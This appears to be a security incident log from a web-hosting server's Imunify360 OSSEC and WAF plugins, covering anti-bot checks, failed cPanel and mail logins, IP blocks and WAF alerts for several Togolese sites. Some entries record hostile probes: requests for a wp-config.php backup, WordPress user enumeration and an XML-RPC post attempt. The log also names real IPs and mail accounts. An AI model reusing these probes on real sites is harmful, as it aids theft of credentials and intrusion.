# incident

plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:00:52:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920600&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781830371 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.51.44.46
country_id: 798544
description:
Jun 19 00:53:16 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.51.44.46 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.187.68.228
country_id: 1210997
description:
[2026-06-19 00:56:29 +0000] info [cpaneld] 103.187.68.228 - lxsenjdd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lxsenjdd (has_cpuser_file failed)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:00:57:21 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:00:57:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 24.102.137.37
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tdn.tg/wp-content/uploads/2023/06/Communique-et-arrete-douverture-du-concours-de-lenseignement-2023.pdf HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 147.185.132.156
country_id: 6252001
description:
Jun 19 00:57:34 ns5 pure-ftpd[3388125]: (?@147.185.132.156) [INFO] New connection from 147.185.132.156


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 00:58:45 +0000] info [cpaneld] 185.55.240.13 - netmast "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user netmast (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 198.163.193.133
country_id: 1512440
description:
2026-06-19 00:58:45 H=([0.0.0.0]) [198.163.193.133]:51582 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 86.99.79.89
country_id: 290557
domain: direct7.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.19||T:APACHE||MV:/wp-json/wp/v2/users?ver=0.35979927572826||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 86.99.79.89
country_id: 290557
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:15720.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ad9d8da14d47384b0c2d6766bad981e7cf988d15||Title:dsungpegjwwgauf9||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 86.99.79.89
country_id: 290557
domain: direct7.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (86.99.79.89) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 37.66.159.173
country_id: 3017382
description:
37.66.159.173 - - [19/Jun/2026:01:03:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10405733&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbill-gates-et-sa-femme-melinda-annoncent-leur-divorce%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781831007 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/bill-gates-et-sa-femme-melinda-annoncent-leur-divorce/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.3177.1634 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:37.66.159.173


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.5.36.184
country_id: 3895114
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/06/AMU-540x381-1.webp 540w, http:/togodailynews.tg/wp-content/uploads/2025/06/AMU-540x381-1-300x212.webp 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.112.112.165
country_id: 2328926
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/5e6a6b HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.225.134.13
country_id: 1835841
description:
Jun 19 01:07:40 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.225.134.13 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.225.134.13
country_id: 1835841
description:
2026-06-19 01:07:42 dovecot_login authenticator failed for H=([192.111.129.146]) [182.225.134.13]:42126: 535 Incorrect authentication data (set_id=collectetvabackend@otr.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 01:07:58 +0000] info [cpaneld] 185.55.240.13 - afdim "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:01:08:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9791130&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781831306 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 194.165.16.162
country_id: 2993457
description:
Jun 19 01:08:49 ns5 pure-ftpd[3395319]: (?@194.165.16.162) [INFO] New connection from 194.165.16.162


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.45.162
country_id: 226074
description:
Jun 19 01:08:59 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.45.162 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.230
country_id: 3469034
description:
Jun 19 01:13:27 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.230 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.182.97.147
country_id: 690791
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/HJ6JWlDXEAAE-Hn.webp 1600w, http:/togodailynews.tg/wp-content/uploads/2026/06/HJ6JWlDXEAAE-Hn-300x240.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/HJ6JWlDXEAAE-Hn-1024x819.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/06/HJ6JWlDXEAAE-Hn-768x614.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/HJ6JWlDXEAAE-Hn-1536x1229.webp 1536w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:01:14:55 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:01:14:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:01:14:56 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:01:14:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 157.15.124.205
country_id: 1643084
description:
Jun 19 01:16:28 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 157.15.124.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.86.52.28
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/c8bcb8 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 172.86.89.205
country_id: 6252001
domain: sotranetogo.com
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.19||T:APACHE||MV:wp-config.php~||


plugin: modsec
rule: 77350212
name: IM360 WAF: Information Disclosure Attempt in WordPress
abuser: 172.86.89.205
country_id: 6252001
domain: sotranetogo.com
description:
IM360 WAF: Information Disclosure Attempt in WordPress||MV:/wp-config.php~||RSV:8.19||T:APACHE||REQUEST_URI:/wp-config.php~||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:01:21:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13133719&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781832066 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:01:21:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10393961&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781832067 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 62.197.45.129
country_id: 2750405
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-21.62.197.45.129||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.231.113.69
country_id: 294640
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/09/460342663_830567625925702_6316384439076267226_n.jpg 1080w, http:/togodailynews.tg/wp-content/uploads/2024/09/460342663_830567625925702_6316384439076267226_n-300x169.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2024/09/460342663_830567625925702_6316384439076267226_n-1024x576.jpg 1024w, http:/togodailynews.tg/wp-content/uploads/2024/09/460342663_830567625925702_6316384439076267226_n-768x432.jpg 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.154.231.246
country_id: 3469034
description:
Jun 19 01:22:13 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.154.231.246 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.154.231.246
country_id: 3469034
description:
Jun 19 01:22:27 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.154.231.246 has been locked due to Imunify RBL


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 43.173.176.216
country_id: 1880251
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:leffectif-des-enseignants-en-hausse-au-togo-gage-dun-meilleur-systeme-educatif/||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.187.68.228
country_id: 1210997
description:
[2026-06-19 01:24:57 +0000] info [cpaneld] 103.187.68.228 - agrepay "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user agrepay (has_cpuser_file failed)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:01:28:22 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:01:28:21 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:01:28:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:01:28:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 193.188.123.43
country_id: 290291
description:
193.188.123.43 - - [19/Jun/2026:01:29:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7249257&pdata=https%253A%252F%252Feducplusmedia.tg%252F2025%252F11%252F07%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781832574 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/2025/11/07/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.6373.1832 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:193.188.123.43


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.15.124.58
country_id: 1643084
description:
[2026-06-19 01:31:58 +0000] info [cpaneld] 157.15.124.58 - 2083masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 01:35:34 +0000] info [cpaneld] 185.55.240.13 - k.eklou "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user k.eklou (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:01:38:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000493&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781833098 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:01:38:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10208617&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781833104 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:01:46:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:01:46:15 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:01:46:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:01:46:17 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 01:47:10 +0000] info [cpaneld] 185.55.240.13 - nwjvzxzr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nwjvzxzr (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 161.142.142.121
country_id: 1733045
description:
161.142.142.121 - - [19/Jun/2026:01:48:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6907847&pdata=https%253A%252F%252F24heureinfo.tg%252Fsante%252Ftogo-vigilance-apres-des-cas-de-virus-marburg-et-ebola-signales&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781833686 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/sante/togo-vigilance-apres-des-cas-de-virus-marburg-et-ebola-signales" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:161.142.142.121


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 01:48:49 +0000] info [cpaneld] 185.55.240.13 - kidsedunetmaster "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kidsedunetmaster (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 135.125.154.105
country_id: 3017382
description:
Jun 19 01:49:16 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 135.125.154.105 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 135.125.154.105
country_id: 3017382
description:
2026-06-19 01:49:18 dovecot_login authenticator failed for H=ip105.ip-135-125-154.eu (135.125.154.108) [135.125.154.105]:53485: 535 Incorrect authentication data (set_id=stephane.o@cafe.tg)


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 43.173.177.37
country_id: 1880251
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:hausse-des-prix-du-petrole-et-du-gaz-le-conseil-des-ministres-evalue-les-risques-pour-leconomie-togolaise/||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:01:52:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9922408&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781833921 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
